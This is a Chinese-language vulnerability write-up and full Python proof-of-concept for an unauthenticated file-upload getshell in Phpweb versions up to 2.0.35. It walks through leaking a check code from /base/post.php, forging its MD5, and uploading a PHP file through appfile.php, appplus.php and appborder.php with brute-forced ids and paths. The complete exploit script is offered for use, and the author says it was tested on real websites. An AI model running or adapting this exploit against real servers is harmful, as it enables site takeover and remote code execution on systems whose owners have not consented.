漏洞影响版本
Phpweb<=2.0.35
漏洞影响文件
- /base/post.php
- /base/appfile.php
- /base/appplue.php
- /base/appborder.php
Poc脚本语言
python3.7
/base/post.php
这个文件是漏洞利用的第一个文件,因此必须确保它能被访问,由截图可看出从post数据中取出act元素,其值用于switch-case使用,我们要利用的代码在文件末尾,当case值为“appcode”时可获取校验码,那么post数据为“act:appcode”
继续分析可以看到当apptype为“plus、border”两种情况时进入对应的数据库查询,若无结果直接返回,不输出校验码,这里记录下他们的sql语句,后续编写poc会用到
Plus:
select id from {P}_base_plusdefault where `pluslable`='$pluslable”、“select id from {P}_base_coltype where `coltype`='$coltype'
Border:
select id from {P}_base_border where `tempid`='$tempid'
当apptype为其他值时,则会直接输出校验码,我们利用这个文件的最终目的就是要获取到校验码,它长这样
k=a0811e9f4f9ccc0a0db155e355d255d3&t=1580544777
Poc代码
网上已经有很多了,就不介绍了,下面是该文件关于appfile.php poc的片段。
postmd5 = { **"act"** : **"appcode"** }
r = requests.post(url + **'/base/post.php'** , data=postmd5)
if r.text.__len__() > 32:
m = hashlib.md5()
m.update((r.text[2:34] + **"a"** ).encode(encoding= **'utf-8'** ))
gmd5 = m.hexdigest()
print( **'gmd5:'** + gmd5)
/base/appfile.php
这个文件和漏洞原因已经有很多介绍了就不多说(校验码的二次加密参数是由用户决定的$_POST["t"])
,注意$_POST["path"]
其实不是必须的就行,这里没使用path参数,检查目录名时写死了路径,它是第一个可利用的文件
Poc代码
使用header头+post数据的方式请求,首先构造头和请求数据,这个变量是共用的,在各个文件poc里面加上校验值M即可。
构造poc并发送,每个文件的利用都不同
/base/appplus.php
该文件可以看作appfile.php的变种文件,其中$_POST["path"]
有了用武之地,我们可以指定上传文件的存放目录。分析检查目录代码,发现当path值为空时会使用默认的update目录存放,但是不为空则会先创建权限为777的目录,再在目录下创建文件(已测试)
这个文件除了upload以外还有其他功能,可以看到mkdir功能同样会创建权限为777的目录
目录创建时没有校验路径,理论上可将文件写入到任意目录去,有的大马会修改网站目录(/effect/source/bg)权限,我们无法直接上传,可以借用目录功能将我们的文件写到别的路径。
各个文件可用的功能:
appfile_act = [ 'upload' ]
appappplue_act = [ 'upload' , 'mkdir' , 'dbinstall' ]
appborder_act = [ 'upload' , 'mkdir' , 'dbinstall' , 'mktempdir']
Poc代码
关于校验值的获取,根据前面post.php
的sql语句,了解到post中需要有pluslable和coltype字段,并且他们要在数据库中能查到。自建站中两个表的截图如下
这里我选了几个存在概率较大的值组成list用于尝试获取校验码
同样,由于上传可指定目录,也挑选了几个目录用于上传
/base/appborder.php
同样可以看作appfile.php的变种文件,源码中我们可以看到,这个文件存在一个模版边框号校验
而upload中存在一个tempid值为必选,其中path可选。所以上传文件的目录为
www/base/border/tempid/[path]/filename
分析下面截图的代码,当我们不知到能上传到哪个tempid文件夹时,可以将act值设为mktempdir在数据库中安装一个模版,再将act的值设为mktempdir创建一个文件夹用于保证上传文件。
Poc代码
同样根据前面post.php
的sql语句,获取到需要tempid,表姐图如下
选几个数据库和文件夹都存在概率较大tempid的组成list,编写poc
上传文件时,也根据list进行尝试上传
完整poc代码
# !/usr/bin/env python
# coding=utf-8
# python version 3.7
# Phpweb<=2.0.35
# 漏洞参考 https://m4tir.github.io/Phpweb-Reception-Getshell
# 漏洞影响文件:/base/post.php /base/appfile.php /base/appplue.php /base/appborder.php
import sys
import requests
import hashlib
# 各文件只使用了upload功能
appfile_act = ['upload']
appappplue_act = ['upload', 'mkdir', 'dbinstall']
appborder_act = ['upload', 'mkdir', 'dbinstall', 'mktempdir']
# 构造请求数据,格式很重要,请勿更改
header_guEss = {'Content-Type': 'multipart/form-data; boundary="guEss"'}
apppoc = """--guEss
Content-Disposition: form-data; name="file"; filename="readme.php"
Content-Type: application/octet-stream\n
<?echo "Hello guEss";?>
--guEss
Content-Disposition: form-data; name="t"\n\na\n--guEss
Content-Disposition: form-data; name="act"\n\nupload\n--guEss
Content-Disposition: form-data; name="r_size"\n\n23\n--guEss
Content-Disposition: form-data; name="m"\n\n"""
# appfile.php文件利用
def appfilepoc(url):
# 得到加密后的MD5值
postmd5 = {"act": "appcode"}
r = requests.post(url + '/base/post.php', data=postmd5)
if r.text.__len__() > 32:
m = hashlib.md5()
m.update((r.text[2:34] + "a").encode(encoding='utf-8'))
gmd5 = m.hexdigest()
print('gmd5:' + gmd5)
# 构造poc并发送
pocdata = apppoc + gmd5 + '\n--guEss\n'
r = requests.post(url + '/base/appfile.php', data=pocdata, headers=header_guEss) # 有的大马会将文件名改为appfile1.php你懂的
r.encoding = 'utf-8'
print(r.text)
if r.text.find('ERROR') == -1:
print('get shell success:' + url + '/effect/source/bg/readme.php')
return url + '/effect/source/bg/readme.php'
else:
print('error:can`t get check key')
return ''
# appplus.php文件利用
def apppluspoc(url):
coltypelist = ['effect', 'news', 'index', 'down', 'search', 'photo', 'feedback']
pluslablelist = ['all', 'news', 'search', 'index', 'photo']
for p in pluslablelist:
for c in coltypelist:
postmd5 = {"act": "appcode", "apptype": "plus", "pluslable": p, "coltype": c}
r = requests.post(url + '/base/post.php', data=postmd5)
print(r.text)
if r.text.__len__() < 32:
continue
m = hashlib.md5()
m.update((r.text[2:34] + "a").encode(encoding='utf-8'))
gmd5 = m.hexdigest()
print('gmd5:' + gmd5)
break
if gmd5 != '':
break
if gmd5 != '':
pathpoc = """Content-Disposition: form-data; name="path"\n\n"""
pathlist = ['photo', 'news', 'tools', 'update']
for p in pathlist:
pocdata = apppoc + gmd5 + '\n--guEss\n' + pathpoc + p + '\n--guEss\n'
r = requests.post(url + '/base/appplus.php', data=pocdata, headers=header_guEss)
r.encoding = 'utf-8'
print(r.text)
if r.text.find('ERROR') == -1:
print('get shell success:' + url + '/photo/readme.php')
return url + '/photo/readme.php'
else:
print('error:can`t get check key')
return ''
# appborder.php文件利用
def appborderpoc(url):
templist = ['781', '780', '788', '001', '012', '015', '016', '018', '051', '201', '204', '500', '526', '613', '614']
gmd5 = ''
for t in templist:
postmd5 = {"act": "appcode", "apptype": "border", "tempid": t}
r = requests.post(url + '/base/post.php', data=postmd5)
print(r.text)
if r.text.__len__() < 32:
continue
m = hashlib.md5()
m.update((r.text[2:34] + "a").encode(encoding='utf-8'))
gmd5 = m.hexdigest()
print('gmd5:' + gmd5)
break
if gmd5 != '':
tempidpoc = """Content-Disposition: form-data; name="tempid"\n\n"""
for t in templist:
pocdata = apppoc + gmd5 + '\n--guEss\n' + tempidpoc + t + '\n--guEss\n'
r = requests.post(url + '/base/appborder.php', data=pocdata, headers=header_guEss)
r.encoding = 'utf-8'
print(r.text)
if r.text.find('ERROR') == -1:
print('get shell success:' + url + '/base/border/' + t + '/readme.php')
return url + '/base/border/' + t + '/readme.php'
else:
print('error:can`t get check key')
return ''
if __name__ == "__main__":
url = 'http://www.xxx.com'
appfilepoc(url)
apppluspoc(url)
appborderpoc(url)
怎么使用大家就各自发挥了,每个函数都测试通过了的,大家看代码应该就了解了。
下面是真实网站运行截图,appfile失败是因为网站的appfile.php别人的大马改成appfile1.php
了。